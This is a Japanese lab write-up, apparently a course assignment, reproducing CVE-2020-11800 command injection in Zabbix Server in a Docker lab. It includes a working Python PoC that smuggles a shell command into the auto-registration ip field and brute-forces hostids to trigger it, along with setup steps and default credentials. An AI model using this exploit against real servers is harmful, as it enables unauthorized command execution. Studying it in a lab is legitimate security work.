
CVE-2020-11800 の PoC エクスプロイト。悪意のあるエージェントの自動登録を介した Zabbix Server のコマンドインジェクションであり、Python ベースのペイロード配信とホスト ID のブルートフォース攻撃を特徴とする。
課題ガイドラインで必須とされるセクションは「(Required)」と表示されています。
この環境は、Vulhubが提供する脆弱なZabbix ServerイメージをベースにしたカスタムDockerfileを使用しています。
FROM vulhub/zabbix:3.0.3-server
このDockerfileは、脆弱なZabbix 3.0.3サーバ環境を使用してローカルイメージをビルドします。ビルドプロセス中に追加のパッケージや設定は追加されていません。
脆弱性環境はDocker Composeを使用して構成されています。
環境は4つのサービスで構成されています:
serverサービスはDockerfileを使用してローカルビルドされます。
server:
build: .
image: cve-2020-11800-server
MySQLコンテナは、ボリュームマウントを使用してsrc/ディレクトリからSQL初期化ファイルを自動的にインポートします。
volumes:
- ./src/:/docker-entrypoint-initdb.d/
これにより、コンテナ起動時にデータベーススキーマと初期Zabbixデータが自動的にロードされます。
環境は以下の構造で動作します。
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
ブラウザからアクセス可能なWebベースの管理インターフェースを提供します。
管理者はこのインターフェースを通じて自動登録の設定や監視関連の操作を実行します。
以下の処理を担当する中核コンポーネント:
コマンドインジェクションの脆弱性はこのコンテナ内で引き起こされます。
監視対象ホストとして機能し、Zabbix Serverと通信します。
このエクスプロイトは、エージェント登録プロセス中に自動登録メカニズムを悪用します。
Zabbixの設定データ、ホスト情報、監視関連データを保存します。
| サービス | イメージ | バージョン |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
この環境は、Vulhubが提供する脆弱なZabbix 3.0.3環境をベースにしています。
CVE-2020-11800は、Zabbix ServerのActive Proxy Trapper機能におけるコマンドインジェクションの脆弱性です。
この脆弱性は、CVE-2017-2824のパッチが不完全であったために存在します。攻撃者はIPv6形式のペイロードを使用して元のパッチをバイパスし、Zabbix Server上で任意のコマンドを実行できます。
この脆弱性は、サーバがユーザー制御のホスト情報を処理する際の自動登録プロセス中に引き起こされます。
脆弱性の根本原因は、シェルコマンド内でユーザー制御の入力を安全でない方法で処理することです。
スクリプト実行中、Zabbix Serverは登録されたホストIP値を使用して以下のようなコマンドを構築します。
ping <host_ip>
通常の条件下では:
ping 127.0.0.1
しかし、攻撃者が以下のペイロードを使用してホストを登録すると:
ffff:::;touch /tmp/success2
シェルによって実行される最終的なコマンドは次のようになります:
ping ffff:::;touch /tmp/success2
セミコロン(;)はシェルコマンドの区切り文字として機能するため、シェルは入力を2つの別々のコマンドとして解釈します:
ping ffff:::
touch /tmp/success2
その結果、任意のコマンド実行が可能になります。
CVE-2017-2824に対する元のパッチは、悪意のある入力値を制限しようとしました。
しかし、検証ロジックはIPv6形式の入力を適切に処理していませんでした。
ペイロード:
ffff:::;touch /tmp/success2
既存の検証ロジックをバイパスしつつ、シェルのメタ文字を注入するために、IPv6のようなプレフィックス(ffff:::)を使用します。
これにより、攻撃者は以前のパッチをバイパスし、コマンドインジェクションの脆弱性を引き続き悪用できます。
エクスプロイトプロセスは以下の順序で発生します:
攻撃者
↓
偽エージェント登録
↓
悪意のあるIPの保存
↓
Zabbixスクリプト実行
↓
シェルコマンド構築
↓
コマンドインジェクション
↓
任意コマンド実行
攻撃者はまず、細工されたIPフィールドを含む悪意のある自動登録リクエストを送信します。
ホストが登録された後、Zabbix Serverは保存されたホストIP値を使用して監視スクリプトを実行します。
このプロセス中に、悪意のあるペイロードがシェルによって解釈され、任意のコマンド実行につながります。
このエクスプロイトにより、攻撃者はZabbix Serverプロセスの権限で任意のコマンドを実行できます。
この環境では、エクスプロイトが成功すると、サーバコンテナ内に以下のファイルが作成されました:
/tmp/success2
これにより、注入されたシェルコマンドが正常に実行されたことが確認されます。
実際の環境では、エクスプロイトの成功により攻撃者は以下のことが可能になる可能性があります:
この脆弱性は、監視サーバが多くの場合、複数の内部システムやインフラコンポーネントに対する可視性を持つため、特に危険です。
概念実証(PoC)はPythonで記述されており、TCPポート10051を介してZabbix Serverと直接通信します。
PoCは以下のアクションを実行します:
hostid値をブルートフォースimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
このPoCで使用されるペイロードは:
ffff:::;touch /tmp/success2
| パート | 目的 |
|---|---|
ffff::: | 検証バイパスに使用されるIPv6のようなプレフィックス |
; | シェルコマンドの区切り文字 |
touch /tmp/success2 | サーバ上で実行される任意のコマンド |
ペイロードは、サーバがユーザー制御のIP値をシェルコマンドに不適切に連結するという事実を悪用しています。
ペイロードは自動登録プロセス中にipフィールドを通じて配信されます。
PoCが送信する最初のリクエストは、悪意のあるホストを登録しようとします。
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
登録後、PoCは有効なhostidを見つけようとします。
for i in range(10000, 10500):
PoCは可能なホストIDの範囲を反復処理し、スクリプト実行をトリガーしようとします。
このステップは、サーバが登録後に動的にホストIDを割り当てるため必要です。
以下のリクエストがコマンド実行をトリガーします:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| パラメータ | 説明 |
|---|---|
request | スクリプト実行を要求 |
scriptid | 設定されたZabbixスクリプトのID |
hostid | ターゲットホストID |
この環境では、scriptid:1は、コマンド実行中にホストIP値を使用するping関連のスクリプトに対応しています。
Zabbix Serverは内部で以下のようなシェルコマンドを構築します:
ping ffff:::;touch /tmp/success2
シェルはこれを次のように解釈します:
ping ffff:::
touch /tmp/success2
結果として:
touchコマンドが正常に実行されるエクスプロイトが成功すると、以下の出力が表示される可能性があります:
ping: bad address 'ffff:::'
これは、ペイロードがシェルコマンド実行段階に到達したことを示しています。
エクスプロイトの成功は、サーバコンテナ内に以下のファイルが存在することで確認されます:
/tmp/success2
完全なエクスプロイトフローを以下にまとめます:
Docker環境の起動
↓
Zabbix Webインターフェースにアクセス
↓
自動登録の有効化
↓
exploit.pyの実行
↓
悪意のあるホストの登録
↓
スクリプト実行のトリガー
↓
コマンドインジェクション
↓
/tmp/success2の確認
Docker Composeを使用して脆弱性環境を起動します。
docker compose up -d
すべてのコンテナが正しく実行されているか確認します。
docker compose ps
環境には以下のコンテナが含まれている必要があります:
ブラウザを開き、Zabbix Webインターフェースにアクセスします。
http://127.0.0.1:8080
デフォルトの認証情報:
Username: admin
Password: zabbix
エクスプロイトでは自動登録機能を有効にする必要があります。
以下の場所に移動:
Configuration → Actions
イベントソースを次のように変更:
Auto registration
新しいアクションを作成し、以下の操作を設定:
Operation Type: Add Host
これにより、新しく登録されたエージェントがサーバに自動的に追加されるようになります。
PoCスクリプトを実行します。
python3 exploit.py 127.0.0.1
PoCは悪意のある自動登録リクエストを送信し、複数のホストIDを使用してコマンド実行をトリガーしようとします。
エクスプロイトが成功すると、以下のような出力が表示される可能性があります:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
これは、ペイロードが脆弱なシェルコマンド実行パスに到達したことを示しています。
Zabbix Serverコンテナにアクセスします。
docker exec -it cve-2020-11800-server-1 bash
注入されたコマンドがターゲットファイルを作成したか確認します。
ls -l /tmp/success2
エクスプロイトが成功すると、以下のような出力が得られます:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
これにより、Zabbix Serverコンテナ内で任意のコマンドが正常に実行されたことが確認されます。
以下のスクリーンショットがscreenshots/ディレクトリに含まれています:

